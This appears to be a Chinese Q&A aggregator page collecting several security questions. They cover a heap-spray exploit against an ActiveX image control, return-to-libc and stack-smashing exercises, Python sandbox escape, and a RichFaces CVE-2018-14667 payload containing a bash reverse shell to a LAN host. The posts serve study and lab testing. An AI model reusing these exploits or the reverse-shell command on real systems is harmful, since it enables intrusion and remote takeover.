我不明白这段代码:
function ms(){
var plc=unescape('".
unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage();
if (mf)return(0);
mf=1;
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++) m[i]=ss+plc;
hav();
return(1);
}
Run Code Online (Sandbox Code Playgroud)
在上面的函数中,我似乎无法弄清楚变量类型,或者弄清楚它对hsta变量做了什么,以及它分配给它的内容:
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
Run Code Online (Sandbox Code Playgroud)
我也无法弄清楚这个功能:
function fb(){
try {
var obj=null;
obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
if(obj){
ms();
var buf = addr(0x0c0c0c0c);
while (buf.length < 400) buf += buf;
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
}
} catch(e){}
return 0;
}
Run Code Online (Sandbox Code Playgroud)
以下代码是什么意思?
cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')
这是一个什么样的变量?
var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf; …Run Code Online (Sandbox Code Playgroud) 我认为firesheep哪个fireshepard漏洞有漏洞.
负责的行可能在facebook的cookie值中的奇怪字符串中.
每当Android Market Licensing ping服务器返回GRANT_ACCESS pong时,我都会缓存用户的身份验证.
有没有人看到这个策略有任何漏洞?我相信它非常强大,因为我混淆了一把钥匙,而且不混淆的唯一方法就是知道盐.现在,有人可以想象打开apk并寻找盐,但这并不是真正的破解程度,我认为太重要了,不用担心.
如您所见,设备特定信息正被添加到混淆技术中.
// Try to use more data here. ANDROID_ID is a single point of attack.
String deviceId = Secure.getString(getContentResolver(), Secure.ANDROID_ID);
obfuscator = new AESObfuscator(SALT, getPackageName(), deviceId);
mChecker = new LicenseChecker(this, new ServerManagedPolicy(this, obfuscator), BASE64_PUBLIC_KEY );
Run Code Online (Sandbox Code Playgroud)
接下来创建持久化数据:
public void allow() {
SharedPreferences settings = getSharedPreferences(PREFERENCES_EULA, 0);
SharedPreferences.Editor editor = settings.edit();
String uid = UUID.randomUUID().toString();
if(!settings.contains(ACCESS_KEY)) {
editor.putString(ACCESS_KEY,uid);
editor.commit();
}
if(!settings.contains(OBFU_ACCESS_KEY)) {
String obfu = obfuscator.obfuscate(uid);
editor.putString(OBFU_ACCESS_KEY,obfu);
editor.commit();
}
Run Code Online (Sandbox Code Playgroud)
然后,我使用另一种方法来检查缓存内容的状态:
boolean isCachedLicense() {
SharedPreferences settings = …Run Code Online (Sandbox Code Playgroud) 我想在Windows的命令提示符中将一些String输入传递给一个小C程序.在bash我可以使用
$ printf "AAAAA\x86\x08\x04\xed" | ./program
Run Code Online (Sandbox Code Playgroud)
基本上,我需要一些东西来逃避命令提示符中的那些十六进制数字.
printf在命令提示符/ powershell中是否有等效或类似的命令?
谢谢
我正在搞乱缓冲区溢出,特别是返回到libc类.
我有以下易受攻击的代码:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
Run Code Online (Sandbox Code Playgroud)
我用gcc-2.95(no -fstack-protector)用-mpreferred-stack-boundary=2旗子编译它.我跟着回到了"黑客:剥削的艺术"的 libc章节.
首先,我禁用了ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
Run Code Online (Sandbox Code Playgroud)
我发现了以下地址system:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no …Run Code Online (Sandbox Code Playgroud) 我试图重现,我从一个阿莱夫的文章"砸堆栈的乐趣和利润"读计算器结果(可以在这里找到:http://insecure.org/stf/smashstack.html).
试图覆盖返回地址似乎不适合我.
C代码:
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
//Trying to overwrite return address
ret = buffer1 + 12;
(*ret) = 0x4005da;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
Run Code Online (Sandbox Code Playgroud)
拆卸主要:
(gdb) disassemble main
Dump of assembler code for function main:
0x00000000004005b0 <+0>: push %rbp
0x00000000004005b1 <+1>: mov %rsp,%rbp
0x00000000004005b4 <+4>: sub $0x10,%rsp
0x00000000004005b8 <+8>: movl $0x0,-0x4(%rbp)
0x00000000004005bf <+15>: mov $0x3,%edx
0x00000000004005c4 <+20>: …Run Code Online (Sandbox Code Playgroud) 我打算通过互联网公开一个用于远程调试基于Java的Web服务的端口,但是我想了两次,我意识到它没有任何身份验证.
从理论上讲,似乎可以编写一个附加到远程调试器端口的工具,并通过Java API执行任意系统命令.或者修改/转储数据库,依此类推.至少这种利用似乎是这种情况http://securityaffairs.co/wordpress/36394/hacking/paypal-remote-code-execution.html
我不记得曾经强烈警告过暴露远程调试器端口.但是现在,当数百个僵尸网络扫描端口寻找漏洞时,应该更好地做广告.
可以请任何人评论它是否安全和/或如何以安全的方式在任意基于Java的Web服务上这样做?我的目标是能够在生产服务器上执行远程调试.
由于语言中内置的反射功能的强大功能,沙盒Python代码非常难以实现.至少必须带走import机制和大多数内置函数和全局变量,甚至还有漏洞({}.__class__.__base__.__subclasses__()例如).
在Python 2和3中,'sys'模块内置于解释器中,并在用户代码开始执行之前预加载(即使在-S模式下).如果你可以获得sys模块的句柄,那么你可以访问加载模块的全局列表(sys.modules),这使你可以做各种顽皮的事情.
因此,问题:从一个空的模块开始,不使用进口机器在所有(没有import说法,没有__import__,没有imp图书馆等),也没有使用任何通常发现__builtins__,除非你能得到它的句柄一些其他的方式,是否有可能获得对?sys或sys.modules?的引用?(每个都指向另一个.)对2.x和3.x答案感兴趣.
重定向到我自己域上的url时,我可以安全地使用用户数据吗?
假设我拥有example.com。如果正常使用我的应用程序有时需要我将用户重定向到这样的网址,可以吗?
https://example.com/ + userData
Run Code Online (Sandbox Code Playgroud)
无论如何,这可以用来进行攻击,例如运行javascript吗?或重定向到完全不同的域?
出于讨论的目的,我想:
您可以假设我完全不对从用户那里收到的参数进行编码。
编辑:澄清- userData无论如何都不会添加到页面-它仅驻留在URL本身中。
我目前在虚拟机 JBoss 5.1.0GA + RichFaces 3.X + photoalbum demo 上运行,这使我容易受到 CVE-2018-14667(只能从我的 LAN 访问)。我已经测试了https://seclists.org/fulldisclosure/2018/Nov/47 中提到的有效负载,它工作正常。现在,我试图弄清楚如何生成我自己的有效负载以获得反向 shell。
这是我目前发现的用于生成我自己的有效载荷的信息;
这需要通过 zlib 压缩:
#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}
Run Code Online (Sandbox Code Playgroud)
如何使用 zlib 进行压缩:
import zlib
import binascii
data = '#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}'
compressed_data = zlib.compress(data, 2)
print('Original data: ' + data)
print('Compressed data: ' + binascii.hexlify(compressed_data))
Run Code Online (Sandbox Code Playgroud)
然后,使用 base64url 对压缩数据进行编码:
https://simplycalc.com/base64url-encode.php
然后像这样测试它:
不幸的是,每次我收到 HTTP 状态代码 500 时说:
javax.faces.FacesException:解码资源数据时出错
我整晚都在试图解决这个问题,但没有成功,所以我决定在这里问,也许我可以找到解决当前问题的方法。
任何帮助将不胜感激。
谢谢
- - 更新 - -
您可以在此处找到用 Java 编写的 PoC …